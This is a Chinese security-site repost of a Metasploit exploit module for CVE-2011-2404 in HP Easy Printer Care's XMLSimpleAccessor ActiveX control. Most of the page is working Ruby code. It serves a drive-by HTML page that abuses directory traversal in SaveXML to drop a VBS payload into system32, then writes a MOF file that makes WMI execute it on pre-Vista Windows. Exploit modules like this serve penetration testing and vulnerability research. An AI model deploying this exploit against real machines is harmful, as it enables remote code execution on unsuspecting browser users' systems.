首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
HP Easy Printer Care XMLSimpleAccessor Class ActiveX Control Remote Code Executi
来源:http://www.metasploit.com 作者:Andrea 发布时间:2011-08-22  

##
# $Id: hp_easy_printer_care_xmlsimpleaccessor.rb 13593 2011-08-20 00:11:22Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::EXE
 include Msf::Exploit::WbemExec

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'HP Easy Printer Care XMLSimpleAccessor Class ActiveX Control Remote Code Execution',
   'Description'    => %q{
     This module allows remote attackers to place arbitrary files on a users file system
    by abusing via Directory Traversal attack the "saveXML" method from the "XMLSimpleAccessor"
    class in the HP Easy Printer HPTicketMgr.dll ActiveX Control (HPTicketMgr.dll 2.7.2.0).

    Code execution can be achieved by first uploading the payload to the remote machine embedded
    in a vbs file, and then upload another mof file, which enables Windows Management
    Instrumentation service to execute the vbs. Please note that this module currently only works
    for Windows before Vista.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Andrea Micalizzi',  # aka rgod original discovery
     'juan vazquez',      # Original Metasploit module
    ],
   'Version'        => '$Revision: 13593 $',
   'References'     =>
    [
     [ 'CVE', '2011-2404 '],
     [ 'OSVDB', '74510'],
     [ 'BID', '49100'],
     [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-261/' ],
    ],
   'DefaultOptions' =>
    {
     'InitialAutoRunScript' => 'migrate -f',
    },
   'Payload'        =>
    {
     'Space'           => 2048,
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     #Windows before Vista
     [ 'Automatic', { } ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Aug 16 2011'))
 end

 def on_request_uri(cli, request)

  unless request['User-Agent'] =~ /MSIE/
   send_not_found(cli)
   print_error("#{cli.peerhost}:#{cli.peerport} Unknown user-agent")
   return
  end

  # Traversal directory attack calculated from default location:
  # C:\Program Files\Common Files\Hewlett-Packard\HP Device Communication Services\TicketServices

  # Using Windows Management Instrumentation service to execute the payload.
  # Using code from "blackice_downloadimagefileurl.rb". See it for more information.

  var_xml_data_union = rand_text_alpha(rand(5)+5)
  var_xml_simple_accessor = rand_text_alpha(rand(5)+5)
  var_mof_function_name = rand_text_alpha(rand(5)+5)
  var_xml_tag = rand_text_alpha(rand(5)+5)
  var_xml_content = rand_text_alpha(rand(5)+5)

  content = <<-EOS
  <html>
  <head>
  <script>
   var #{var_xml_data_union} = new ActiveXObject('HPESPRIT.XMLDataUnion.1');
   var #{var_xml_simple_accessor} = new ActiveXObject('HPESPRIT.XMLSimpleAccessor.1');

   function #{var_mof_function_name}() {
    try {
     #{var_xml_data_union}.xml = "<#{var_xml_tag}>#{var_xml_content}</#{var_xml_tag}>";
     #{var_xml_simple_accessor}.xmlDataUnion = #{var_xml_data_union};
     #{var_xml_data_union}.xml = unescape("#{@mof_content}");
    } catch( e ) {
     #{var_xml_simple_accessor}.SaveXML(
      "../../../../../WINDOWS/system32/wbem/mof/#{@var_mof_name}.mof",
      "UTF-8"
     );
    }
   }

   try {
    #{var_xml_data_union}.xml = "<#{var_xml_tag}>#{var_xml_content}</#{var_xml_tag}>";
    #{var_xml_simple_accessor}.xmlDataUnion = #{var_xml_data_union};
    #{var_xml_data_union}.xml = unescape("#{@vbs_content}");
   } catch( e ) {
    #{var_xml_simple_accessor}.SaveXML(
     "../../../../../WINDOWS/system32/#{@var_vbs_name}.vbs",
     "UTF-8"
    );
   }
   setTimeout("#{var_mof_function_name}()", 4000);
  </script>
  </head>
  </html>
  EOS

  print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
  send_response_html(cli, content)
  handler(cli)
 end

 def exploit
  # In order to save binary data to the file system the payload is written to a .vbs
  # file and execute it from there.
  @var_mof_name = rand_text_alpha(rand(5)+5)
  @var_vbs_name = rand_text_alpha(rand(5)+5)

  print_status("Encoding payload into vbs...")
  payload = generate_payload_exe
  @vbs_content = Rex::Text.to_hex(Msf::Util::EXE.to_exe_vbs(payload))

  print_status("Generating mof file...")
  @mof_content = Rex::Text.to_hex(generate_mof("#{@var_mof_name}.mof", "#{@var_vbs_name}.vbs"))
  super
 end

end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Apache httpd Remote Denial of
·Symantec System Center Alert M
·Apache Struts < 2.2.0 Remote C
·Symantec System Center Alert M
·Solarftp v2.1.2 PASV buffer ov
·XlightFTP Server v3.7.0 Remote
·iPhone Safari Remote Crash
·Contrexx Shopsystem Blind SQL
·Zen Media Player (.pls) Local
·Notepad++ NppFTP plugin LIST c
·Opera Web Browser 11.50 DoS
·F-Secure BlackLight 2.2.1092 L
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved